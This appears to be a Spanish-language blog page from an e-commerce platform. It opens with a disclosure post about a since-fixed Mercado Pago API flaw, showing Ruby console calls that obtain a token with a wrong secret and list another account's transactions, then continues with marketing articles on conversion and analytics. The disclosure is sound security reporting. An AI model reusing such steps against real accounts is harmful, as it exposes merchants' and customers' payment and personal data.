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Agujero de Seguridad en Mercado Pago

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El 17 de abril descubrimos una vulnerabilidad en la seguridad de la API de Mercado Pago. Antes de revelar esta información, contactamos a Mercado Libre y les enviamos un reporte detallado del agujero de seguridad encontrado y cómo reproducirlo.

La vulnerabilidad permitía a cualquier persona obtener un token de acceso sin el uso de una correcta clave secreta para una cuenta.

Pueden ver cómo funciona el proceso de autenticación en Mercado Pago aquí:
https://www.mercadopago.com.ar/developers/en/api-docs/basics/authentication/

Luego de 7 horas, Mercado Pago arregló la vulnerabilidad en su entorno de producción.

Cómo reprodujimos el problema

Este ejemplo utiliza Ruby 2.1.2 y la gema de mercadopago.

<2.1.2 :001 > token = MercadoPago::Authentication.access_token("8872", "lalalala")>

El primer parámetro es el id del cliente (una cuenta en Mercado Pago) y el segundo parámetro es la clave secreta (sólo el dueño de la cuenta debería conocerlo).

Para el id del cliente usamos 8872, el mismo no nos pertenece, y para el “secret” usamos lalalala para mostrar que realmente no es la clave secreta correcta.

Con esa información, fuimos capaces de adquirir el token. Con él, se puede acceder a gran cantidad de información asociada con los pagos de la cuenta.

Por ejemplo:

<2.1.2 :002 > response = MercadoPago::Collection.search(token["access_token"], status: :approved)>

Con esta consulta, se pueden ver todas las transacciones aprobadas para una cuenta que no te pertenece.

Por ejemplo:

<=> {"paging"=>{"total"=>98, "limit"=>30, "offset"=>0},
    "results"=>[
      {"collection"=>{"id"=>753859418, "site_id"=>"MLA",
       "date_created"=>"2014-03-13T16:58:20.000-04:00",
       "date_approved"=>"2014-03-13T17:00:38.000-04:00",
       "last_modified"=>"2014-03-13T17:00:38.000-04:00",
       "money_release_date"=>"2014-03-15T17:00:38.000-04:00",
       "operation_type"=>"regular_payment",
       "collector_id"=>16605960, "sponsor_id"=>nil,
       "payer"=>{
         "nickname"=>"XOMBULABSX",
         "first_name"=>"JON",
         "last_name"=>"SNOW",
         "phone"=>{"area_code"=>"291", "number"=>"123412", "extension"=>nil},
         "email"=>"security@ombulabs.com",
         "id"=>83110350,
         "identification"=>{"type"=>nil, "number"=>nil}},
         "external_reference"=>"1448",
         "merchant_order_id"=>11567450,
         "reason"=>"Premium package", "currency_id"=>"ARS",
         "transaction_amount"=>81, "total_paid_amount"=>81,
         "shipping_cost"=>0,
         "account_money_amount"=>0,
         "mercadopago_fee"=>4.85,
         "net_received_amount"=>76.15,
         "marketplace_fee"=>nil,
         "coupon_id"=>nil,
         "coupon_amount"=>nil,
         "coupon_fee"=>nil,
         "finance_fee"=>0,
         "status"=>"approved",
         "status_detail"=>"accredited",
         "status_code"=>"00",
         "released"=>"yes",
         "payment_type"=>"credit_card",
         "installments"=>1,
         "installment_amount"=>nil,
         "deferred_period"=>nil,
         "cardholder"=>{"name"=>"JON SNOW", "identification"=>{"type"=>"DNI", "number"=>"26000000"}},
         "statement_descriptor"=>"WWW.MERCADOPAGO.COM",
         "transaction_order_id"=>nil, "marketplace"=>"NONE", "tags"=>[],
         "notification_url"=>nil}},
      {"collection"=>
        {"id"=>756415807,
        "site_id"=>"MLA",
        "date_created"=>"2014-03-20T15:42:35.000-04:00",
        "date_approved"=>"2014-03-20T15:42:35.000-04:00",
        "last_modified"=>"2014-03-20T15:42:35.000-04:00",
        "money_release_date"=>"2014-03-22T15:42:35.000-04:00",
        "operation_type"=>"regular_payment",
        "collector_id"=>16605960,
        "sponsor_id"=>nil,
        "payer"=>{
          "nickname"=>"YOURNICKNAME",
          "first_name"=>"Matias",
          "last_name"=>"OMBU",
          "phone"=>{"area_code"=>"291", "number"=>"4000000", "extension"=>nil},
          "email"=>"hola@ombulabs.com",
          "id"=>18878708,
          "identification"=>{"type"=>nil, "number"=>nil}},
        "external_reference"=>"1457",
        "merchant_order_id"=>13031193,
        "reason"=>"Premium package",
        "currency_id"=>"ARS",
        "transaction_amount"=>81,
        "total_paid_amount"=>81,
        "shipping_cost"=>0,
        "account_money_amount"=>0,
        "mercadopago_fee"=>4.85,
        "net_received_amount"=>76.15,
        "marketplace_fee"=>nil,
        "coupon_id"=>nil,
        "coupon_amount"=>nil,
        "coupon_fee"=>nil, "finance_fee"=>0,
        "status"=>"approved",
        "status_detail"=>"accredited",
        "status_code"=>"00",
        "released"=>"yes",
        "payment_type"=>"credit_card",
        "installments"=>1,
        "installment_amount"=>nil,
        "deferred_period"=>nil,
        "cardholder"=>
          {"name"=>nil,
           "identification"=>{"type"=>nil, "number"=>nil}},
        "statement_descriptor"=>"WWW.MERCADOPAGO.COM",
        "transaction_order_id"=>nil,
        "marketplace"=>"NONE",
        "tags"=>[],
        "notification_url"=>nil}},
        ...
      }>

La información sensible fue intencionalmente modificada.

Entonces, durante el tiempo que esta vulnerabilidad estuvo vigente (por lo menos 7 horas) un atacante pudo haberla usado para:

  • Encontrar información sobre todos los pagos que tu cuenta hubiera recibido desde que empezaras a utilizar el servicio.
  • Encontrar información sobre tus clientes, su DNI, nombre, número de teléfono.

Todo lo que el atacante necesitaba para aprovechar esta vulnerabilidad era el ID de cuenta de Mercado Pago y algo de conocimiento básico de tecnología.

Cómo descubrimos este problema

En OmbuShop, nuestros tests de integración usan sandbox de Mercado Pago para verificar que el monto que el cliente tiene que pagar es correcto. Sé que esto no es ideal (¿o lo es?) pero es tan real como se convierte para nuestros tests de integración.

Uno de nuestros tests verifica que no se pueda obtener determinada información con credenciales de usuario incorrectas. Cuando el test comenzó a fallar en nuestros tests continuos, comenzamos a investigar y encontramos este agujero de seguridad.

Qué es lo que me preocupa

Es difícil entender que una pasarela de pagos tan importante nunca haya publicado información acerca de este agujero de seguridad. Yo esperaría que ellos supieran si alguna información fuera accesible para gente que no tiene acceso a ella.

Ellos pueden verificar sus logs de acceso y ver quién accedió a su API usando un secreto que no era el correcto. Luego, podrían informar a sus clientes acerca del problema y advertirles acerca de la situación.

Mercado Pago, un producto de Mercado Libre ($MELI) que es una empresa que cotiza en bolsa, ni siquiera dispone de información pública de las versiones de su API ni tests de integración continua que detecten una vulnerabilidad tan obvia.

Tal vez sólo estoy acostumbrado a los reportes de vulnerabilidad publicados por Github acerca de sus vulnerabilidades. Tal vez Github es mucho más serio que Mercado Pago acerca de su privacidad y seguridad online.

Creo que Mercado Pago necesita ponerse al día y ser más transparente acerca de su plataforma y la privacidad de sus usuarios.

Un buen comienzo sería implementar una mejor forma de recibir reportes de vulnerabilidad en su seguridad y revelar información acerca de sus problemas de seguridad.

Hasta el día de hoy, no han revelado información alguna acerca de este agujero de seguridad y resulta muy difícil encontrar un modo de reportarles un problema de seguridad.

Errores Comunes que afectan tu Conversión

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Para incrementar la tasa de conversión en tu tienda es necesario recordar que el comprador busca un proceso simple, con la menor cantidad de clicks posible, sin distracciones ni complicaciones. Cualquiera de estos factores puede afectar la conversión de tu tienda online.

Decisión

El momento más crítico dentro del proceso de compra online es el checkout, cuando el comprador decide pagar por el producto o abandonar la compra.

En este momento, no sólo está en juego la decisión de compra, sino que también tiene un rol importante la confianza del comprador para compartir su información sensible (datos personales, detalles de la tarjeta de crédito, etc.).

Si tu tienda online tiene una tasa de conversión muy baja, es necesario que analices los funnels de conversión y detectes los momentos del proceso en los que el comprador decide abandonar la compra.

Estos son errores comunes que pueden estar afectando la conversión en tu tienda online:
 

1. Pocas opciones de pago

Comúnmente, se detecta una gran tasa de abandono al momento de pagar, ¿por qué sucede esto?

Muchas tiendas online ofrecen un sólo método de pago, lo que se traduce en una gran limitación para el comprador.

Como vendedor, puedes preferir un medio de pago por sobre otros disponibles, pero esto no quiere decir que esto sea igual para tu público. Tal vez puedas tener un medio de pago preferido, por ejemplo, la transferencia bancaria, pero si en tu tienda ofreces únicamente la opción de pago a través de transferencia, es muy probable que pierdas gran parte de tu público en este momento del proceso de compra, que busca realizar el pago con tarjeta por ejemplo.

Lo más recomendable es relevar qué medios de pago prefiere tu público, y habilitarlos en tu tienda online para no perder ventas por este motivo, o directamente ofrecer diversos medios de pago para que cada comprador elija la opción que le resulte más conveniente.

2. El registro obligatorio nunca es una buena idea

Es muy simple, el comprador no quiere sentirse obligado, el comprador quiere elegir: elegir comprar en tu tienda y no en la de la competencia, elegir el producto, el color, el tipo de envío, la forma de pago, y elegir también si quiere o no formar parte de tu base de datos.

Una tienda online que obliga a registrarse antes de concretar la compra tiene mayores probabilidades de perder conversiones.

Sabemos cuán importante es obtener información sobre tus clientes, para luego realizar acciones de marketing, pero si piensas la situación desde la perspectiva de una tienda física, entenderás que al momento de pagar ningún vendedor o cajero le pediría sus datos al comprador como condición para cobrarle.

La mejor forma de obtener los datos de tus clientes es ofrecer el registro como opción, permitiendo así al comprador elegir si quiere o no brindarte sus datos.

3. Intermediarios poco confiables

Tanto para pagos como para envíos, lo más importante es ofrecer opciones de confianza al comprador.

Si el comprador duda acerca de la seguridad de la pasarela de pagos que ofreces, o no tiene referencias de la empresa de correo que utilizas para los envíos, es muy probable que esa desconfianza se traduzca en un abandono de la compra, lo que afecta directamente la tasa de conversión de tu tienda.

En OmbuShop te ofrecemos los medios de pago más utilizados en Internet para que tus clientes no duden a la hora de concretar compras en tu tienda online.

4. Formularios confusos

Es importante que al completar los datos de checkout no se generen inconvenientes. Si llegaran a existir errores al completar, los formularios deben estar preparados para indicar visiblemente qué dato falta o es incorrecto, así el usuario podrá identificarlo claramente. De lo contrario, es probable que el comprador no entienda esta parte del proceso de compra y decida abandonar su carrito.

Por otro lado, al solicitar información para coordinar el envío, es recomendable limitarse a los datos realmente necesarios, y siempre es bueno contar con algún modo de contacto con el comprador (generalmente e-mail) en caso de necesitar comunicarle alguna eventualidad particular.

5. No incluir un CTA

Es muy simple: necesitas indicar al comprador qué es lo que debe hacer en los pasos más críticos del proceso de compra. Incluir CTA (call to action) es fundamental en e-commerce.

La experiencia de compra debe ser lo más intuitiva posible, pero además, es muy recomendable apoyar los pasos más relevantes del proceso de compra con un CTA claro, visible y detallado, que indique al comprador qué es lo que debe hacer, en lugar de esperar que éste adivine cuál es el siguiente paso en el proceso de compra.

Comprar y Pagar son mensajes claros y concisos que indican al comprador cómo concretar la operación, lo que tiene un gran peso a la hora de mejorar la conversión.
 

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Tips para Gestionar Información Analítica de tu Tienda Online

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Como ya sabemos, la mejor herramienta (además de gratuita) que nos permite obtener información analítica en e-commerce es Google Analytics.

Información Analítica para tu Tienda Online

Información Analítica para tu Tienda Online

Gracias a esta y otras herramientas, la información se consigue de un modo simple, lo que a veces se confunde con que el análisis de esa información sea simple.

El análisis consistirá en reunir la información obtenida, estudiar los indicadores, determinar los KPIs en los que te enfocarás, comparar estadísticas y proponer acciones que pretendan impactar positivamente en dichos indicadores.

¿Por qué es importante la información analítica de mi tienda?

Como ya hemos mencionado, la medición de determinados indicadores te permite tomar decisiones con respecto a tu tienda, realizar modificaciones para mejorar tus resultados y conseguir más ventas online.

Objetivos

Antes de comenzar a medir y realizar reportes, es necesario que determines qué quieres y necesitas medir. Lo más probable es que busques medir los indicadores que directamente afecten tu objetivo.

En el caso de una tienda online, el mayor objetivo es vender, y el indicador a medir sería la tasa de conversión de ventas. Por supuesto, hay muchos otros indicadores que te brindarán información útil para tu tienda online, y que afectarán positiva o negativamente la tasa de conversión.

Una vez identificado el objetivo principal, podrás establecer objetivos de analítica para establecer qué mediciones debes realizar e incluir en tus reportes.

Contexto

Determinar el contexto en el cual se miden los indicadores seleccionados te permitirá tener un mejor panorama y análisis general.

Por ejemplo, no es lo mismo medir el tráfico de tu tienda durante una acción de Facebook Ads que dirija público a tu tienda online que hacerlo durante un período sin esta acción, o seguramente obtengas distintos resultados al medir la conversión de ventas en tu tienda durante una promoción por tiempo limitado, de la que obtendrías habitualmente en condiciones regulares.

Información cualitativa

Lo importante al analizar la información analítica obtenida es recordar que los números y las estadísticas se obtienen de modo simple y rápido, pero sin alguien que los analice y realice un estudio cualitativo sobre ellos, no servirán de nada.

La idea es aportar valor al reporte obtenido, a través del análisis, y que así éste sirva de plataforma para implementar determinadas acciones e incorporar modificaciones que permitan mejorar los resultados obtenidos.

Otras herramientas de analítica:

Actualmente puedes obtener información estadística acerca de tu página en Facebook desde la misma plataforma, también el administrador de anuncios te brinda las estadísticas que registra acerca de la performance de tus anuncios (Facebook Ads).

Otra red social que ofrece este tipo de información acerca de las publicaciones es Twitter, puedes chequear Twitter Analytics dentro de la misma página para obtener datos y compararlos.

Ciclo de la analítica:

El objetivo del análisis de información analítica es mejorar tu negocio. Es por esto que el proceso de medición debe ser útil para mejorar continuamente.

El ciclo consiste en medir, analizar, corregir y probar nuevamente:

  1. Medir: Obtener los datos de los indicadores que hayas determinado importantes para tu negocio.
  2. Analizar: Tanto cuantitativa como cualitativamente los números y estadísticas obtenidos, y sacar conclusiones al respecto.
  3. Corregir: Dependiendo de los resultados, podría reemplazarse por Optimizar. En base a las conclusiones previamente obtenidas, establecer acciones y/o modificaciones a implementar para lograr mejoras.
  4. Probar nuevamente: Una vez implementados los cambios, realizar nuevamente el ciclo para verificar las mejoras obtenidas o es necesario cambiar la estrategia.

Términos comunes de analítica web

  • Pageviews: Cantidad de páginas vistas en un sitio por la totalidad de los usuarios que lo visitaron.
  • Unique Pageviews: Cantidad de páginas vistas, sin contabilizar las vistas por un mismo usuario o IP en más de una ocasión.
  • Sessions: Cantidad total de visitas a un sitio en un período determinado. Pueden ser únicas, aplicando el mismo criterio que en las Unique Pageviews.
  • AVG Pages Duration: Es el tiempo promedio que un usuario permanece en cada página.
  • Bounce Rate: Cantidad de usuarios que llegan a una página y luego abandonan la navegación del sitio. Puedes leer más acerca de Bounce Rate aquí.
  • Direct Traffic: Cantidad de usuarios que visitaron un sitio al ingresar su URL directamente en el navegador.
  • Referred Traffic: En oposición a Direct Traffic, es el tráfico referido desde otro sitio o aplicación web. Puede ser orgánico o pagado.
  • Search Traffic: Es el tráfico que llega a un sitio específicamente desde buscadores como Google o Bing. Aquí podrás ver las keywords a través de las cuales los usuarios llegaron al sitio, lo que te ayudará en tu estrategia SEO.
  • Impressions: Cantidad de veces que un mismo anuncio, banner o post fue visto por un usuario. También se conoce como Reach o Alcance.
  • Unique Impressions: Cantidad de usuarios únicos que vieron dicho anuncio, banner o post.
  • CTR (Click Through Rate): Tasa de clicks del anuncio o elemento, se calcula dividiendo el total de impresiones por el total de clicks obtenidos.
  • CPC (Cost Per Click): Este término se utiliza para la publicidad paga, se refiere al costo que se paga por cada click, y relaciona el costo total invertido con la cantidad total de clicks.
  • Conversion Rate: Mide la eficiencia de un anuncio u objetivo, ya que indica la cantidad de usuarios que concretaron determinada acción, en relación al total de usuarios. Puedes leer más sobre conversión aquí.

Es muy fácil integrar Google Analytics en tu tienda online en OmbuShop y comenzar a obtener la información que requieras con respecto a tus visitantes, tu conversión, tus ventas, y otros indicadores.
 

Si todavía no tienes tu tienda online, ¡te invitamos a crearla en minutos y comenzar a vender por Internet!

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*Imagen: freepik.com

Conversión Online: ¿Cómo Vender Más?

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Habitualmente escribimos acerca de las distintas estrategias para mejorar las ventas de tu tienda online. En este caso, nos centramos en la conversión, una de las métricas más relevantes en e-commerce.

Conversión en e-commerce

Conversión en e-commerce

¿Qué es la conversión online?

En e-commerce, el principal objetivo es concretar ventas online. La conversión mide la eficacia en relación a un objetivo, vender en este caso, y permite tener un información para concretar dicho objetivo.

Para medir esta eficacia es necesario realizar un análisis de la cantidad de visitas que recibe la tienda en relación a la cantidad de personas que concretan el objetivo de la compra.

La herramienta más utilizada para medir este y otros indicadores es Google Analytics. Es de uso gratuito y se integra fácilmente a tu tienda online en OmbuShop, para que puedas obtener la información que necesites.

¿Es buena la conversión en mi tienda?

Dentro del comercio electrónico, se considera aceptable una tasa de conversión del 1%.

Obviamente los valores varían según cada producto y marca, pero se puede considerar que los resultados son excelentes si la conversión está dentro de un rango del 2 al 5%.

Es recomendable entonces tener en mente estos datos a la hora de fijar el objetivo de conversión, para mantenerse dentro de lo posible y saber a qué aspirar al momento de mejorar.

No logro llegar al objetivo de conversión, ¿qué puedo hacer?

Lo principal es atraer el tráfico adecuado a tu tienda online. No es nada productivo tener una cantidad importante de tráfico que no está interesado en comprar en tu tienda, si diriges a tu tienda visitantes que no estén interesados en comprar tus productos, esto sólo hará que tu tasa de conversión vaya en descenso.

Cuando estés seguro de estar dirigiendo el tráfico adecuado a tu tienda, podrás comenzar a nutrir la relación con tus clientes y potenciales clientes, mediante estrategias de Marketing de Contenidos, E-mail Marketing, y promociones especiales.

El uso correcto del copywriting en la descripción de tus productos y de tu marca, más la incorporación de testimonios de clientes satisfechos generalmente funcionan muy bien para atraer a los visitantes a convertir, ya que aportan confianza.

Lo importante en esta instancia es entender que las estrategias que funcionan para otras tiendas no necesariamente resulten efectivas en tu tienda online, por lo que deberás encontrar la estrategia que mejor se ajuste a tus necesidades en base al análisis de los indicadores que resulten más relevantes en tu caso, y tomar decisiones que mejoren la performance de tu sitio.
 

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Claves para una Tienda Online Efectiva

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Habitualmente te contamos acerca de las mejores estrategias y técnicas para tu tienda online.

Acompañando las recientes mejoras en nuestra plataforma, te contamos cuáles son las claves que debes considerar para que tu tienda online sea efectiva, y puedas vender más y mejor en Internet, y cómo lograrlo con tu tienda en OmbuShop:
 

Filtro de búsquedas y categorías

Para quienes visitan tu tienda online con intenciones de comprar, muchas veces es importante tener la posibilidad de realizar una búsqueda específica para filtrar los productos que se ajustan a su necesidad puntual en ese momento, en lugar de tener que navegar todo el sitio y perder tiempo buscando el producto.

Campo de búsqueda - Tienda Online en OmbuShop

Campo de búsqueda – Tienda Online en OmbuShop

También es importante la división de los productos en categorías que le permitan al visitante filtrar por tipo de producto, talle, color, material, etc., para agilizar el proceso y brindarle una mejor experiencia de compra, sin ser víctimas de la paradoja de la elección.

Navegación clara

Para el visitante de tu tienda, no sólo es importante encontrar rápida y fácilmente los productos que busca, sino que además necesita que la navegación le permita, por ejemplo, volver atrás sobre sus pasos sin inconvenientes, en caso de cambiar de opinión.

Navegación y Categorías - Tienda Online en OmbuShop

Navegación y Categorías – Tienda Online en OmbuShop

Si la navegación no es clara, y no permite este avance y retroceso, es muy probable que el visitante se frustre rápidamente y decida abandonar la tienda, en busca de una mejor experiencia de compra.

Campos visibles e instintivos

Para que los filtros y la navegación funcionen correctamente, es necesario que tanto el campo de búsquedas como el camino de navegación sean visiblemente accesibles, facilitando así el acceso del visitante.

De otro modo, no tendrá sentido su existencia si no permiten el fácil acceso, y el resultado será el mismo al que se daría si no estuvieran: frustración y abandono de la tienda en búsqueda de una mejor experiencia.

Stock

Si decides mostrar en tu tienda los productos agotados, es importante que la indicación de la falta de stock sea sumamente clara para evitar confusiones, y nuevamente, frustración en el visitante.

Las tiendas en OmbuShop te ofrecen la función de ocultar los artículos que se encuentren sin stock en la tienda, sin tener que preocuparte por las confusiones que pudieran causar. Es importante recordar una de las reglas de oro en e-commerce: Todo lo que está a la venta online debe estar disponible.

Mostrar productos sin stock - Panel de administración OmbuShop

Mostrar productos sin stock – Panel de administración OmbuShop

Si un cliente compra en tu tienda y luego lo contactas porque el producto no está disponible, es muy probable que se sienta estafado. Más allá que le ofrezcas otro producto similar con algún beneficio extra (mayor valor sin abonar la diferencia, regalo por la molestia, cupón de descuento, etc.), o que le devuelvas el dinero, es muy probable que esa persona no vuelva a comprar en tu tienda ya que no tendrá la confianza necesaria a la hora de realizar la compra y pagarla.

Fotografías de calidad

Como siempre recordamos, la falta de tangibilidad del producto es una gran barrera a la hora de realizar una compra online, y es por eso que, como vendedor, necesitas compensar esta desventaja ofreciendo a tus visitantes las mejores vistas de tu producto, que sean fieles al real y que muestren todos los detalles que lo diferencian.

Mostrar tus productos con excelentes fotografías en la calidad requerida, con buena luz, detalles y zoom, más fotos del producto en contexto real, invitará al visitante de tu tienda a concretar la compra.

Carrito de compras

Un fácil acceso al carrito de compras permitirá al comprador un mejor control de su compra y lo guiará fácilmente al checkout para concretar la compra. Lo más recomendable es que el carrito sea visible y accesible desde todas las páginas de tu tienda.

Con tu tienda en OmbuShop, no debes preocuparte por esto, ya que el carrito es visible desde todas las páginas que agregues a tu tienda, y además funciona como carrito persistente, permitiendo al comprador retomar un pedido previamente seleccionado para concretarlo.

Costos de envío

Es importante que al momento del checkout el comprador pueda ver claramente los costos de envío del producto, para no llevarse sorpresas a la hora de pagar y desalentar su compra.

En el caso de ofrecer envío gratis, o incluido dentro del precio de venta, lo mejor es remarcarlo en la descripción del producto como un beneficio, para incentivar la compra.

Optimización SEO

Es fundamental que tu tienda cuente con optimización SEO para generar más tráfico, y tengas más probabilidades de vender.

Cuando hablamos de esto, nos referimos a la presencia de una dirección web (URL), título único para cada página, descripciones apropiadas de producto, fotos con descripción en el atributo alt e incluir metadata (datos específicos para los buscadores).

Todas las tiendas en OmbuShop pueden administrar esta información desde el panel de administración, para lograr así la mejor optimzación SEO.

Diseño e identidad de marca

Es importante que tu tienda online muestre la identidad de tu marca, la idea es diferenciarte de tu competencia y mostrar tu marca de modo que tus visitantes se sientan identificados y se conviertan en clientes.

También es necesario que la tienda se muestre con un diseño limpio y claro, que complemente la navegación y sea agradable a la vista del visitante, siempre teniendo en mente la identidad de la marca.

Para lograr que tu tienda cumpla con estos requisitos, OmbuShop ofrece plantillas de diseño renovadas, cada una pensada para acompañar determinados tipos de productos. Todas son 100% customizables, para que logres transmitir la identidad de tu marca.

Redes sociales

Previamente hemos hablado del Social Commerce y cómo las redes sociales influyen cada vez más en el comportamiento de los consumidores, y por ende, en la conversión de ventas online.

Es por esto que hemos incluido la integración de redes sociales en las nuevas plantillas de diseño de OmbuShop, brindando la posibilidad de relacionar fácilmente tu tienda con tus perfiles en redes sociales, mediante íconos reconocibles, con diseño integrado con el de la plantilla.

Contacto

Considerando la importancia de la confianza en la relación entre el cliente y el vendedor, ofrecer vías de contacto en tu tienda online le da la posibilidad a tus clientes y visitantes de comunicarse con quien está detrás de la tienda online, obteniendo una experiencia más personalizada y alimentando la confianza antes mencionada.

Redes sociales y Contacto - Tienda Online en OmbuShop

Redes sociales y Contacto – Tienda Online en OmbuShop

Con esto en mente, dentro de las mejoras en OmbuShop Versión 4.0, hemos incluido una página de contacto con formulario que permite a tus clientes contactarse directamente desde la tienda, y te permite gestionar los mensajes desde tu panel de administración. Esto, sumado a la incorporación de los íconos de redes sociales y el teléfono en todas las plantillas de diseño disponibles.

Call To Action (CTA)

Como ya hemos hablado, el CTA o llamada a la acción es un elemento clave en e-commerce, ya que invita a concretar la compra de manera directa y simple.

Call To Action - Tienda Online en OmbuShop

Call To Action – Tienda Online en OmbuShop

Puedes encontrar el CTA destacado en todas las plantillas de diseño de OmbuShop, y también puedes modificar sus características para que se adapte mejor a tu estrategia y producto particular.

Diseño Responsive

Con el auge del Mobile Commerce, es importante ofrecer al visitante la posibilidad de acceder a tu tienda online desde el dispositivo que elija, sin restricciones.

La tendencia marca que los usuarios cada vez más usan sus smartphones y tablets para realizar operaciones online, por lo que es de suma importancia que tu tienda online se vea correctamente desde cualquiera de los dispositivos que el usuario elija para navegar.

Con esto en mente, OmbuShop ha adaptado cinco de sus plantillas de diseño para que sean responsive, ofreciendo así la mejor experiencia de m-commerce.
 

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